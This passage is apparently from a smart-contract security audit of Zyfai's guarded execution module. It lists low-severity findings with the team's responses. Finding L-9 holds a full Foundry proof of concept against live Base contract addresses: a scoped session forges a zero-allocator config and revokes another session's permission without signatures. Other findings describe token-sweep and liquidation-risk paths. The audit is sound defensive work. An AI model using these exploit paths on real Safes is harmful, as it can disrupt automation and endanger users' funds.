`executeGuardedBatch` records the Spoke for every `withdraw` and `setUsingAsCollateral` call (`GuardedExecModuleUpgradeable.sol:394-399`), and `_validateSpokeHealthFactors` reverts unless the final health factor is at least `MIN_HEALTH_FACTOR` = 1.5 (`:574-585`).

Aave v4 is more selective. `Spoke.withdraw` only validates the account when the withdrawn reserve is used as collateral, and `setUsingAsCollateral` only validates when collateral is disabled. Withdrawing a non-collateral deposit cannot lower the health factor, and enabling collateral can only raise it.

So when the Safe sits between 1.0 and 1.5, a batch that withdraws idle non-collateral funds, enables a deposit as collateral, or withdraws idle funds to repay debt reverts unless it lifts the health factor all the way back to 1.5.

Impact

The automation cannot take de-risking steps while a position is between 1.0 and 1.5, and only the Safe owner, acting directly, can. Aave v4 Spoke selectors are not on the session-key list today, so this applies once Spokes are listed.

Code Snippet

```
// GuardedExecModuleUpgradeable.sol:394-399
} else if (
    selector == SPOKE_BORROW_SELECTOR || selector == SPOKE_WITHDRAW_SELECTOR
        || selector == SPOKE_SET_COLLATERAL_SELECTOR
) {
    spokeCount = _recordSpoke(spokes, spokeCount, target);
}
```

```
// GuardedExecModuleUpgradeable.sol:574-585
function _validateSpokeHealthFactors(address[] memory spokes, uint256 count)
↪  internal view {
    for (uint256 i = 0; i < count;) {
        uint256 healthFactor =
            IAaveV4Spoke(spokes[i]).getUserAccountData(msg.sender).healthFactor;
        if (healthFactor < MIN_HEALTH_FACTOR) {
            revert HealthFactorTooLow(spokes[i], healthFactor);
        }
        ...
    }
}
```

Tool Used

Manual Review

Recommendation

Record `withdraw` only for reserves used as collateral and `setUsingAsCollateral` only when it disables collateral. Alternatively, accept the batch when the final health factor is not lower than the initial one.

Discussion

PaulDeFi

Fixed in https://github.com/ondefy/zyfai-executor-module/pull/16, following your second recommendation: on a Spoke where the batch does not borrow, it also passes if the final health factor is not lower than before, so de-risking works below the minimum. A batch that borrows must still end at the minimum. The minimum is now owner-set per Spoke (default 1.5, floor 1.1), and all five Spoke calls must have onBehalfOf == Safe.

Parth0x108

fixed

Issue L-3: `approve(spender, 0)` is blocked once a spender is delisted, so stale allowances cannot be cleared [RESOLVED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/13

Summary

`_validateERC20Approve` requires the spender to be a whitelisted target for every `approve`, including `approve(spender, 0)`. When a target is removed from the registry, any allowance a Safe still has to it can no longer be reset by the session key and stays in place until the Safe owner clears it manually.

Vulnerability Detail

`_validateERC20Approve` reverts unless `reg.whitelistedTargets(spender)` is true, regardless of the amount (`GuardedExecModuleUpgradeable.sol:494-501`). `whitelistedTargets` turns false as soon as the target's last selector is removed (`TargetRegistry.sol:317-319`), so a zero approval to a delisted spender is rejected.

Authorization grants are already handled differently. `_validateAuthorizationGrant` lets a revoke through for any grantee, including one granted under an earlier rule (`:526-528`).

Impact

Allowances to a delisted spender stay in place after the delisting, and automated cleanup through the session key is impossible. The risk depends on whether the delisted spender can still pull tokens from the Safe.

Code Snippet

```
// GuardedExecModuleUpgradeable.sol:494-501
address spender = address(bytes20(callData[16:36]));

if (!reg.whitelistedTargets(spender)) {
    revert UnauthorizedERC20Approve(token, spender);
}
```

```
// GuardedExecModuleUpgradeable.sol:526-528
// A revoke only removes rights, so it is allowed for any grantee (including one
↪  granted
```

```
// under an earlier rule). Only an exact-zero bool word counts as a revoke.
if (bytes32(callData[36:68]) == bytes32(0)) return;
```

Tool Used

Manual Review

Recommendation

Let a zero-amount `approve` through without the spender check, mirroring the revoke path for authorization grants. This allows cleanup after a delisting without widening what the key can grant.

Discussion

Parth0x108

this got reported here.

PaulDeFi

Fixed in https://github.com/ondefy/zyfai-executor-module/pull/14: approve(spender, 0) is allowed for any spender. In practice no stale allowance exists: zyfai-api never sends max approvals on chains using this module, and every approve is for the exact amount the next call in the same atomic batch pulls (the Adapter safeTransferFroms exactly that amount), so allowances end at 0. We'd treat this as Informational.

Parth0x108

fixed!

Parth0x108

@PaulDeFi @joepegler just something worth noting here: Safe owner might approve Permit2 to spend 10,000 USDC. The proposed fix lets a session key cancel that approval even though Permit2 is not on the session's allowed spender list. The owner's next Permit2 transaction could then fail.

Issue L-4: Enso `routeSingle` can send assets to an unchecked receiver [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/14

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

The module checks Enso's `routeSingle` selector but does not inspect the route data or require the receiver to be the Safe. If Enso `routeSingle` and the required token approval are enabled, a session allowed to call `executeGuardedBatch` can submit a route that sends assets to another address. Enso `routeSingle` is currently disabled in the registry, so this issue requires a registry change.

Vulnerability Detail

For each batch call, the module checks the outer target and selector. It does not validate the receiver encoded in Enso's route data. For ERC20 routes, Enso pulls the approved tokens from the Safe and executes that data. A route that includes a transfer to another receiver can therefore move assets away from the Safe.

Impact

If the required registry entries are enabled, the route can direct the approved assets to an unintended receiver. The current registry configuration does not enable this path, so the issue is general health severity.

Recommendation

Keep raw Enso `routeSingle` disabled for guarded sessions. If routing is needed, use a wrapper that binds the receiver to the Safe and checks the token, amount, and minimum output.

Discussion

PaulDeFi

Acknowledged. Enso routeSingle is not whitelisted on any production registry, and we never whitelist call dispatchers. https://github.com/ondefy/zyfai-executor-module/pull/13 removes the stale Enso entries from the checked-in configs and adds dispatchers to the README's never-whitelist list. The issue can be deleted.

Issue L-5: Morpho GA1 can forward tokens sent to it as an authorized recipient [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/15

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

If the token's `transfer` selector is enabled and GA1 is authorized to receive it, a session allowed to call `executeGuardedBatch` can transfer that token from the Safe to GA1. Any caller can then use Bundler3 `multicall` to invoke GA1's `erc20Transfer` and send GA1's token balance to themselves. GA1 is currently not authorized as a recipient, so this issue requires a registry change.

Vulnerability Detail

For ERC20 transfers, the module checks whether the recipient is authorized for that token:

```
if (!reg.isERC20TransferAuthorized(token, to, msg.sender)) {
    revert UnauthorizedERC20Transfer(token, to);
}
```

When GA1 is authorized, this check permits the Safe to send tokens there but does not ensure GA1 will retain them for the Safe. GA1's `erc20Transfer(token, receiver, amount)` can move its token balance through Bundler3's public `multicall`. This path does not require a Safe-to-Bundler3 allowance or Bundler3 to be whitelisted by the module.

Impact

While GA1 is an authorized recipient, tokens transferred to it can be swept by any caller. The current registry configuration does not authorize GA1, so the issue is general health severity.

Recommendation

Do not authorize GA1 as a token recipient unless the flow ensures that tokens are credited to the Safe or another intended beneficiary before an external caller can move them.

Discussion

PaulDeFi

Acknowledged. GA1 is neither a whitelisted target nor an authorized ERC20 recipient on any production registry. https://github.com/ondefy/zyfai-executor-module/pull/13 removes it from the checked-in configs and recipient scripts and lists it as never-whitelist in the README. The issue can be deleted.

Issue L-6: A whitelisted Bundler3 can spend Safe token approvals [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/16

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

The module allows a token approval when the spender is a whitelisted target. If the token's `approve` selector is enabled and Bundler3 is whitelisted, a session allowed to call `executeGuardedBatch` can approve it. Bundler3 can then use its public `multicall` to transfer tokens from the Safe. Bundler3 is currently not whitelisted, so this issue requires a registry change.

Vulnerability Detail

For ERC20 `approve`, `_validateERC20Approve` checks only whether the spender is whitelisted:

```
address spender = address(bytes20(callData[16:36]));
if (!reg.whitelistedTargets(spender)) {
    revert UnauthorizedERC20Approve(token, spender);
}
```

The check does not distinguish a call dispatcher from a protocol contract or limit the allowance. Once approved, Bundler3 can call `transferFrom(Safe, receiver, amount)` through `multicall`. An unused allowance can also be spent later by any caller.

Impact

If Bundler3 is whitelisted and receives an approval, a caller can transfer tokens from the Safe up to the remaining allowance. The current registry configuration does not enable this path, so the issue is low severity.

Recommendation

Use a separate allowlist for token-approval spenders. Do not allow approvals to arbitrary-call dispatchers such as Bundler3.

Discussion

PaulDeFi

Acknowledged. Bundler3 is not whitelisted on any production registry. https://github.com/ondefy/zyfai-executor-module/pull/13 removes it from the checked-in configs and adds call dispatchers to the README's never-whitelist list, so no approval to it can be granted. The issue can be deleted.

Issue L-7: A session key can remove an Aave v3 loan's liquidation buffer [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/18

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

If a Safe owner has borrowed against Aave v3 collateral, a malicious session key can withdraw that collateral until the loan is barely above liquidation. The withdrawn asset returns to the Safe, but most of the owner's safety buffer is lost.

Vulnerability Detail

On Base, Arbitrum, and Ethereum mainnet, the published session permissions include `approve` on the Aave v3 WETH aToken and `Adapter.withdrawForSelf`. The session key can approve the Adapter to spend the Safe's aTokens, then choose the withdrawal amount in the same guarded batch. The Adapter pulls those aTokens from the Safe and sends the withdrawn WETH back to it:

```
IERC20(p.aToken).safeTransferFrom(msg.sender, address(this), amount);
withdrawn = IAavePool(pool).withdraw(asset, amount, msg.sender);
```

Aave permits the aToken transfer as long as the Safe's health factor remains at least 1. Its maximum borrowing LTV does not set a minimum buffer for collateral withdrawals. The module's higher health-factor check covers Aave v4 Spoke calls, but does not record `Adapter.withdrawForSelf` for an Aave v3 check.

For example, on Base, an owner has $100 of WETH collateral and $75 of USDC debt. With an 80% borrowing LTV and an 83% liquidation threshold, the key can withdraw $8 of collateral. The remaining $92 backs the $75 loan, leaving a debt ratio of about 81.5%. A roughly 1.8% WETH price decline would then put the loan past its liquidation threshold.

Impact

The session key can turn an owner-managed loan into one that a small adverse price move or accrued interest may make liquidatable. Liquidation costs the Safe the liquidation bonus. This requires pre-existing Aave v3 debt; the withdrawal itself does not send WETH outside the Safe but makes the position more prone to liquidation.

Tool Used

Manual Review

Recommendation

Extend the guarded module's health-factor check to calls targeting the configured Adapter with the `withdrawForSelf` selector. Read the Aave v3 pool from the call and record the Safe's health factor before execution. After the batch, query that pool's `getUserAccountData(Safe)` and revert if the health factor is below a module-owner-set minimum above 1, such as 1.3. If the Safe started below that minimum, allow the batch only when its health factor has not fallen further. Direct owner actions remain available.

Discussion

PaulDeFi

#18 – Acknowledged, won't fix. The precondition is outside the threat model: Zyfai never borrows on Aave v3, and Aave v3 borrow (0xa415bcad) is not whitelisted on any of the three TargetRegistries, so a session key cannot create the debt this issue relies on. Debt can only exist if the user borrows manually from the Safe as its owner, outside the Zyfai product. Session-driven borrowing (Aave v4 Spokes) is covered by the per-Spoke health factor check.

Parth0x108

To clarify, the finding does not assume the session key can borrow on Aave v3. It starts with an Aave v3 loan opened by the Safe owner. The session key can then use the enabled aToken approve and `Adapter.withdrawForSelf` calls to remove collateral and bring that existing loan close to liquidation. Disabling Aave v3 borrow for session keys does not prevent this path. I understand your position that owner-created Aave v3 debt is outside Zyfai's supported use case, that is the point on which the finding's applicability depends.

So, ether prevent session keys from making withdrawals that push accounts below the liquidation threshold. OR this issue can be acknowledged and documented as the risk for users.

Issue L-8: Excessive transfers to an authorized recipient require manual recovery [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/19

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

An active registry configuration permits a session to transfer USDC from a user's Safe to a separate authorized Safe. `executeGuardedBatch` checks the recipient but does not limit the transfer amount. An erroneous session call can therefore send more than the intended payment, up to the user's full USDC balance. The user cannot reverse that transfer from their Safe; the recipient Safe's signers must return the excess.

Vulnerability Detail

For `ERC20.transfer(to, amount)`, the module first requires the token's `transfer` selector to be whitelisted. `_validateERC20Transfer` then extracts `to` and checks it against the registry:

```
address to = address(bytes20(callData[16:36]));
if (!reg.isERC20TransferAuthorized(token, to, msg.sender)) {
    revert UnauthorizedERC20Transfer(token, to);
}
```

The check does not read or constrain `amount`. In the active USDC configuration, `0x62BE78705295cA9FfdAc410B4a9B6101983a7c3B` is an authorized external recipient. The same authorization accepts a fee-sized transfer or a transfer of the Safe's full USDC balance. This behavior applies to any token and network with both the token's `transfer` selector and an external recipient enabled.

Impact

An excessive transfer leaves the user's Safe without those funds until the recipient Safe's signers send them back. The authorized recipient holds the tokens, so the transfer itself neither destroys them nor gives the session key control over that recipient Safe. Recovery nevertheless requires manual action by different signers and may delay the user's withdrawals or automated strategy operations.

Tool Used

Manual Review

Recommendation

Bind transfers to the amount due for the operation, or enforce a per-Safe, per-token limit for each external recipient. Recipient authorization should identify where a payment may go without allowing an arbitrary payment amount.

or

Document this as an accepted operational risk. Monitor transfers that exceed the expected fee and establish a prompt return procedure with the recipient Safe's signers.

Discussion

PaulDeFi

#19 – Acknowledged, by design. Authorized external recipients are exclusively Zyfai-controlled. 0x62BE...3c3B is the Zyfai fee vault (a Safe controlled by the Zyfai team, 2-of-5), and the fee amount is computed by the backend. An excess transfer stays recoverable by our signers, and we accept this operational risk.

Issue L-9: Guarded sessions can revoke other Emissary permissions through allowlisted `removeConfig` [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/20

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

The TargetRegistry used by the guarded module allows `SmartSessionEmissary.removeConfig`. A session authorized for `executeGuardedBatch` can submit that call with another Emissary permission ID on the same Safe. The module executes the call as the Safe, and the other permission is disabled without its session signer's or configured allocator's signature.

Vulnerability Detail

`GuardedExecModuleUpgradeable.executeGuardedBatch` checks the target and selector with `reg.whitelist(target, selector)`. It does not inspect `removeConfig` arguments before `_execute(executions)` makes the Safe call Emissary. This grants every session allowed to use the guarded batch the ability to choose which Emissary permission on its Safe to revoke.

Emissary's deployed Lens derives the removal lock tag from the caller-supplied `config.allocator`, without comparing it to the lock tag stored for `config.permissionId`. Its signature check skips the Safe's signature when the Safe calls and skips the allocator signature when the supplied allocator is zero. A guarded session can therefore submit an enabled victim `permissionId` with `allocator = address(0)`, a correctly formed digest, and empty signatures. `_disablePolicies` then disables that permission's validator and removes the ID from the enabled set. `getPermissionIds(account)` makes the ID available to the caller.

The affected Base registry returns `true` for `(SmartSessionEmissary, removeConfig)`. This exposure depends on that registry entry; a separate checked Base registry has it disabled. The attack does not require `setConfig` to be allowlisted.

Impact

A guarded session can stop a separately controlled Emissary session on the same Safe, interrupting its automation until the Safe owner restores the permission. The PoC demonstrates that this works even when the victim session has its own signer and a nonzero ERC-1271 allocator. It disables the victim permission while the invoking session remains enabled.

This is a Low availability issue whenever separately controlled permissions coexist under an affected registry. The PoC demonstrates that configuration; the production Safes checked with concurrent permissions currently use the same signer set.

PoC

In the executor-module repository, place the following code in `test/RemoveConfigIndepSignersProbe.t.sol` and run `forge test --match-contract RemoveConfigIndepSignersProbe -R src/external/=lib/modulekit/src/external/ -vv`. The test forks Base at block `53,023,969`; `BASE_RPC_URL` may be set to an archive RPC.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import {Execution} from "modulekit/accounts/erc7579/lib/ExecutionLib.sol";
import {MODULE_TYPE_EXECUTOR} from
↪  "modulekit/accounts/common/interfaces/IERC7579Module.sol";
import {RhinestoneModuleKit, ModuleKitHelpers, AccountInstance} from
↪  "modulekit/ModuleKit.sol";
import {MockPolicy} from "modulekit/Mocks.sol";
import {
    Session as LimitedSession, ActionData as LimitedAction,
    PolicyData as LimitedPolicy, ERC7739Data as LimitedERC7739,
    ISessionValidator
} from "modulekit/integrations/interfaces/ISmartSession.sol";
import {TargetRegistry} from "../src/registry/TargetRegistry.sol";
import {GuardedExecModuleUpgradeable} from
↪  "../src/module/GuardedExecModuleUpgradeable.sol";

struct EmPolicy { address policy; bytes initData; }
struct EmAction { bytes4 actionTargetSelector; address actionTarget; EmPolicy[]
↪  actionPolicies; }
struct EmERC7739Context { bytes32 appDomainSeparator; string[] contentNames; }
struct EmERC7739 { EmERC7739Context[] allowedERC7739Content; EmPolicy[]
↪  erc1271Policies; }
struct EmSession {
    address sessionValidator; bytes sessionValidatorInitData; bytes32 salt;
    EmAction[] actions; EmPolicy[] claimPolicies; EmERC7739 erc7739Policies;
}
struct EmChainDigest { uint64 chainId; bytes32 sessionDigest; }
struct EmEnableSession { uint8 chainDigestIndex; EmChainDigest[] hashesAndChainIds;
↪  EmSession sessionToEnable; }
struct EmDisableSession { uint8 chainDigestIndex; EmChainDigest[]
↪  hashesAndChainIds; }
struct EmConfig { uint8 scope; uint8 resetPeriod; address allocator; bytes32
↪  permissionId; }
```

```
struct EmEnable { bytes allocatorSig; bytes userSig; uint256 expires;
↪  EmEnableSession session; }
struct EmDisable { bytes allocatorSig; bytes userSig; uint256 expires;
↪  EmDisableSession session; }

interface IEmissary {
    function setConfig(address account, EmConfig calldata config, EmEnable calldata
    ↪  data) external;
    function removeConfig(address account, EmConfig calldata config, EmDisable
    ↪  calldata data) external;
    function getPermissionId(EmSession calldata session) external view returns
    ↪  (bytes32);
    function isPermissionEnabled(address account, bytes32 permissionId) external
    ↪  view returns (bool);
    function getSessionValidatorAndConfig(address account, bytes32 permissionId)
        external view returns (address, bytes memory);
}

interface IOwnableSessionValidator {
    function validateSignatureWithData(bytes32 hash, bytes calldata signature,
    ↪  bytes calldata data)
        external view returns (bool);
}

contract Allocator1271 {
    address immutable signer;
    bytes4 constant MAGIC = 0x1626ba7e;

    constructor(address signer_) { signer = signer_; }

    function isValidSignature(bytes32 hash, bytes calldata signature)
        external view returns (bytes4)
    {
        (address recovered, ECDSA.RecoverError err,) = ECDSA.tryRecover(hash,
        ↪  signature);
        return err == ECDSA.RecoverError.NoError && recovered == signer
            ? MAGIC : bytes4(0xffffffff);
    }
}

contract RemoveConfigIndepSignersProbe is RhinestoneModuleKit, Test {
    using ModuleKitHelpers for *;

    address constant REGISTRY = 0xd5C2dFD6d34c2bEA1dbec14DE4780d4A9D45ea17;
    address constant EMISSARY = 0xad568B3F825A8d5FFc06DD3253526B64D810Ae89;
    address constant ADAPTER = 0xaffD3c3cD06cf499deddf78b26868018A93f2C31;
    address constant SUDO_POLICY = 0x0000003111cD8e92337C100F22B7A9dbf8DEE301;
    address constant OWNABLE_SESSION_VALIDATOR =
    ↪  0x000000000013fdB5234E4E3162a810F54d9f7E98;
    uint256 constant VICTIM_PK = 0xBEEF;
```

```
    uint256 constant ATTACKER_PK = 0xCAFE;
    uint256 constant ALLOCATOR_PK = 0xA110C8;
    bytes4 constant REMOVE_CONFIG = 0x60e637cc;
    bytes4 constant HASH_MISMATCH =
    ↪  bytes4(keccak256("HashMismatch(bytes32,bytes32)"));

    AccountInstance instance;
    GuardedExecModuleUpgradeable module;
    IEmissary emissary = IEmissary(EMISSARY);
    address safe;

    function setUp() public {
        vm.setEnv("ACCOUNT_TYPE", "SAFE");
        vm.createSelectFork(vm.envOr("BASE_RPC_URL",
        ↪  string("https://base.publicnode.com")), 53_023_969);
        init();
        GuardedExecModuleUpgradeable implementation = new
        ↪  GuardedExecModuleUpgradeable(ADAPTER);
        module = GuardedExecModuleUpgradeable(address(new ERC1967Proxy(
            address(implementation),
            abi.encodeCall(GuardedExecModuleUpgradeable.initialize, (REGISTRY,
            ↪  address(this)))
        )));
        instance = makeAccountInstance("Safe");
        safe = address(instance.account);
        vm.deal(safe, 1 ether);
        instance.installModule(MODULE_TYPE_EXECUTOR, address(module), "");
        assertTrue(TargetRegistry(REGISTRY).whitelist(EMISSARY, REMOVE_CONFIG));
        assertFalse(TargetRegistry(REGISTRY).whitelist(EMISSARY,
        ↪  IEmissary.setConfig.selector));
    }

    function _limitedSession() internal returns (LimitedSession memory session) {
        LimitedPolicy[] memory policies = new LimitedPolicy[](1);
        policies[0] = LimitedPolicy(address(new MockPolicy()), "");
        LimitedAction[] memory actions = new LimitedAction[](1);
        actions[0] = LimitedAction(module.executeGuardedBatch.selector,
        ↪  address(module), policies);
        session = LimitedSession({
            sessionValidator:
            ↪  ISessionValidator(address(instance.defaultSessionValidator)),
            sessionValidatorInitData: "mockInitData", salt: bytes32(uint256(1)),
            userOpPolicies: policies,
            erc7739Policies: LimitedERC7739(new string[](0), new
            ↪  LimitedPolicy[](0)),
            actions: actions
        });
    }

    function _victimSession() internal returns (EmSession memory s) {
```

```
        EmPolicy[] memory policies = new EmPolicy[](1);
        policies[0] = EmPolicy(SUDO_POLICY, "");
        EmAction[] memory actions = new EmAction[](1);
        actions[0] = EmAction(module.executeGuardedBatch.selector, address(module),
        ↪  policies);
        address[] memory owners = new address[](1);
        owners[0] = vm.addr(VICTIM_PK);
        s = EmSession({
            sessionValidator: OWNABLE_SESSION_VALIDATOR,
            sessionValidatorInitData: abi.encode(uint256(1), owners),
            salt: bytes32(uint256(111)), actions: actions,
            claimPolicies: new EmPolicy[](0),
            erc7739Policies: EmERC7739(new EmERC7739Context[](0), new EmPolicy[](0))
        });
    }

    function _enable(EmSession memory s, bytes32 digest) internal view returns
    ↪  (EmEnable memory e) {
        e.allocatorSig = ""; e.userSig = ""; e.expires = block.timestamp + 365 days;
        e.session.chainDigestIndex = 0;
        e.session.hashesAndChainIds = new EmChainDigest[](1);
        e.session.hashesAndChainIds[0] = EmChainDigest(uint64(block.chainid),
        ↪  digest);
        e.session.sessionToEnable = s;
    }
    function _disable(bytes32 digest) internal view returns (EmDisable memory d) {
        d.allocatorSig = ""; d.userSig = ""; d.expires = block.timestamp + 365 days;
        d.session.chainDigestIndex = 0;
        d.session.hashesAndChainIds = new EmChainDigest[](1);
        d.session.hashesAndChainIds[0] = EmChainDigest(uint64(block.chainid),
        ↪  digest);
    }
    function _computedHash(bytes memory ret) internal pure returns (bytes32 hash) {
        bytes4 errorSelector;
        assembly { errorSelector := mload(add(ret, 32)) }
        require(errorSelector == HASH_MISMATCH, "unexpected revert");
        assembly { hash := mload(add(ret, 68)) }
    }
    function _enableDigest(EmConfig memory config, EmSession memory s) internal
    ↪  returns (bytes32) {
        (bool ok, bytes memory ret) = EMISSARY.call(
            abi.encodeWithSelector(IEmissary.setConfig.selector, safe, config,
            ↪  _enable(s, bytes32(0)))
        );
        require(!ok, "dry run must fail");
        return _computedHash(ret);
    }
    function _disableDigest(EmConfig memory config) internal returns (EmDisable
    ↪  memory) {
        (bool ok, bytes memory ret) = EMISSARY.call(
```

```
            abi.encodeWithSelector(REMOVE_CONFIG, safe, config,
            ↪  _disable(bytes32(0)))
        );
        require(!ok, "dry run must fail");
        return _disable(_computedHash(ret));
    }

    function _assertVictimSignerConfig(bytes32 permissionId, bytes memory
    ↪  expectedData) internal {
        (address validator, bytes memory validatorData) =
            emissary.getSessionValidatorAndConfig(safe, permissionId);
        assertEq(validator, OWNABLE_SESSION_VALIDATOR);
        assertEq(validatorData, expectedData);
        bytes32 probe = keccak256("victim-signer-control");
        (uint8 victimV, bytes32 victimR, bytes32 victimS) = vm.sign(VICTIM_PK,
        ↪  probe);
        (uint8 attackerV, bytes32 attackerR, bytes32 attackerS) =
        ↪  vm.sign(ATTACKER_PK, probe);
        assertTrue(IOwnableSessionValidator(validator).validateSignatureWithData(
            probe, abi.encodePacked(victimR, victimS, victimV), validatorData
        ));
        assertFalse(IOwnableSessionValidator(validator).validateSignatureWithData(
            probe, abi.encodePacked(attackerR, attackerS, attackerV), validatorData
        ));
    }

    function _multichainHash(bytes32 sessionDigest) internal view returns (bytes32)
    ↪  {
        bytes32 chainHash = keccak256(abi.encode(
            bytes32(0xabc350ff4773ba356e85e2d2ee58d7d7511767acdb108b59058f5b4a5afc0
            ↪  74b),
            uint64(block.chainid), sessionDigest
        ));
        bytes32 arrayHash = keccak256(abi.encodePacked(chainHash));
        bytes32 structHash = keccak256(abi.encode(
            bytes32(0xb4323194e4ca3723804b96dc7a0960bde1afff2b080b8b288fdc264c82e21
            ↪  357),
            arrayHash
        ));
        return keccak256(abi.encodePacked(
            hex"1901",
            bytes32(0xe4b7e03cf1e8e7a6af0eec6f72a68d532e03fdaad0b8326461731cb31803a
            ↪  084),
            structHash
        ));
    }

    function _assertAllocatorAndRestore(EmConfig memory actual, bytes32
    ↪  permissionId) internal {
        EmDisable memory genuine = _disableDigest(actual);
```

```
        vm.prank(safe);
        vm.expectRevert();
        emissary.removeConfig(safe, actual, genuine);
        assertTrue(emissary.isPermissionEnabled(safe, permissionId));

        uint256 snapshotId = vm.snapshotState();
        bytes32 digest =
        ↪  _multichainHash(genuine.session.hashesAndChainIds[0].sessionDigest);
        (uint8 v, bytes32 r, bytes32 sigS) = vm.sign(ALLOCATOR_PK, digest);
        genuine.allocatorSig = abi.encodePacked(r, sigS, v);
        vm.prank(safe);
        emissary.removeConfig(safe, actual, genuine);
        assertFalse(emissary.isPermissionEnabled(safe, permissionId));
        vm.revertToState(snapshotId);
        assertTrue(emissary.isPermissionEnabled(safe, permissionId));
    }

    function test_LimitedSessionDisablesOtherSessionWithNonzeroAllocator() public {
        // Owner-authorized setup through an actual Safe UserOperation.
        EmSession memory victim = _victimSession();
        bytes32 permissionId = emissary.getPermissionId(victim);
        EmConfig memory actual = EmConfig(
            0, 0, address(new Allocator1271(vm.addr(ALLOCATOR_PK))), permissionId
        );
        instance.exec(EMISSARY, abi.encodeWithSelector(
            IEmissary.setConfig.selector, safe, actual, _enable(victim,
            ↪  _enableDigest(actual, victim))
        ));
        assertTrue(emissary.isPermissionEnabled(safe, permissionId));
        _assertVictimSignerConfig(permissionId, victim.sessionValidatorInitData);

        // The real allocator permits signed removal, but rejects an empty
        ↪  signature.
        _assertAllocatorAndRestore(actual, permissionId);

        // Limited session acts through the scoped module and the real Safe.
        ↪  Replacing the
        // nonzero allocator with zero bypasses the downstream allocator check.
        EmConfig memory forged = EmConfig(0, 0, address(0), permissionId);
        EmDisable memory unsignedRevoke = _disableDigest(forged);
        Execution[] memory calls = new Execution[](1);
        calls[0] = Execution(EMISSARY, 0, abi.encodeWithSelector(
            REMOVE_CONFIG, safe, forged, unsignedRevoke
        ));
        LimitedSession memory limited = _limitedSession();
        instance.useSession(
            limited, address(module), 0,
            abi.encodeWithSelector(GuardedExecModuleUpgradeable.executeGuardedBatch
            ↪  .selector, calls)
        );
```

```
        assertFalse(emissary.isPermissionEnabled(safe, permissionId));
        assertTrue(instance.isSessionEnabled(limited));
    }
}
```

Tool Used

Manual Review

Recommendation

Remove `(SmartSessionEmissary, removeConfig)` from the registry used for guarded batches. If agents must rotate sessions, expose a dedicated revocation path that binds the permission ID to the session authorized to manage it and checks the stored allocator configuration; otherwise require an owner authorized Safe transaction.

Discussion

PaulDeFi

#20 – Acknowledged, intended. removeConfig is whitelisted so that we can revoke legacy, under-constrained sessions during the migration. All sessions on production Safes belong to Zyfai and share the same signer set, as the issue notes, so the permission being disabled is always one of ours. This is intended to remove old session key if needed.

Issue L-10: An active session can undo the owner's vault-operator revocation and queue all shares [ACKNOWLEDGED]

Source: https://github.com/sherlock-audit2/2026-10-zyfai-oct-19th-2026/issues/21

This issue has been acknowledged by the team but won't be fixed at this time.

Summary

A Safe owner can call `setOperator(Adapter, false)` to stop the Adapter from submitting redemption requests for their SuperVault shares. An active session can immediately call `setOperator(Adapter, true)` and `Adapter.requestRedeemForSelf` in one guarded batch. The owner's revocation is therefore ineffective as a stop action while that session remains enabled.

Vulnerability Detail

Operator permission lets the Adapter submit a redemption request for shares owned by the Safe. The registry permits `setOperator` on the sUp SuperVault and `requestRedeemForSelf` on the Adapter, so the session can call both through `executeGuardedBatch`. For a `setOperator` grant, `_validateAuthorizationGrant` checks only that the operator is the Adapter:

```
if (authorized != ADAPTER) revert UnauthorizedAuthorizationGrant(target,
↪  authorized);
```

The sequence is:

1. The owner directly calls `sUp.setOperator(Adapter, false)`. The Adapter is no longer an operator for the Safe.
2. The session calls `sUp.setOperator(Adapter, true)`. The module accepts the grant because the operator is `ADAPTER`, even though the owner just revoked it.
3. In the same batch, the session calls `Adapter.requestRedeemForSelf(sUp, shares)`. The Adapter calls `sUp.requestRedeem(shares, Safe, Safe)`, moving the Safe's shares into the pending redemption queue.

The request remains assigned to the Safe. The failure is that the session can override the owner's stop action before requesting redemption.

Impact

The owner loses the ability to stop session-initiated redemption by revoking the vault operator alone. In the test, after the owner revokes the Adapter, the session queues the Safe's entire position: the Safe's transferable share balance becomes zero, the pending

redemption balance equals all its shares, and the claimable balance is zero. The owner cannot use those shares or claim their underlying assets until the vault processes the request. The shares remain credited to the Safe, so this is a forced delay and loss of owner control over timing, not a transfer to the session. To prevent another regrant, the owner must also disable the session or the guarded module.

Tool Used

Manual Review

PoC

Save the first block as `test/SessionKeyFixture.t.sol` and the second as `test/OperatorRegrant.t.sol` in the executor module project. Run:

```
forge test --match-contract OperatorRegrantTest -vv
```

The test deposits 100 UP into the live sUp vault, has the owner revoke the Adapter, then lets the session restore it and queue every minted share. It uses the unchanged Base registry and runs against both the scoped module source and the deployed module.

`test/SessionKeyFixture.t.sol`:

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.23;

import {Test} from "forge-std/Test.sol";
import {ERC1967Proxy} from "@openzeppelin/contracts/proxy/ERC1967/ERC1967Proxy.sol";
import {MODULE_TYPE_EXECUTOR} from
↪  "modulekit/accounts/common/interfaces/IERC7579Module.sol";
import {RhinestoneModuleKit, ModuleKitHelpers, AccountInstance} from
↪  "modulekit/ModuleKit.sol";
import {MockPolicy} from "modulekit/Mocks.sol";
import {
    Session, ActionData, PolicyData, ERC7739Data, ISessionValidator
} from "modulekit/integrations/interfaces/ISmartSession.sol";
import {GuardedExecModuleUpgradeable} from
↪  "../src/module/GuardedExecModuleUpgradeable.sol";

abstract contract SessionKeyFixture is RhinestoneModuleKit, Test {
    using ModuleKitHelpers for *;

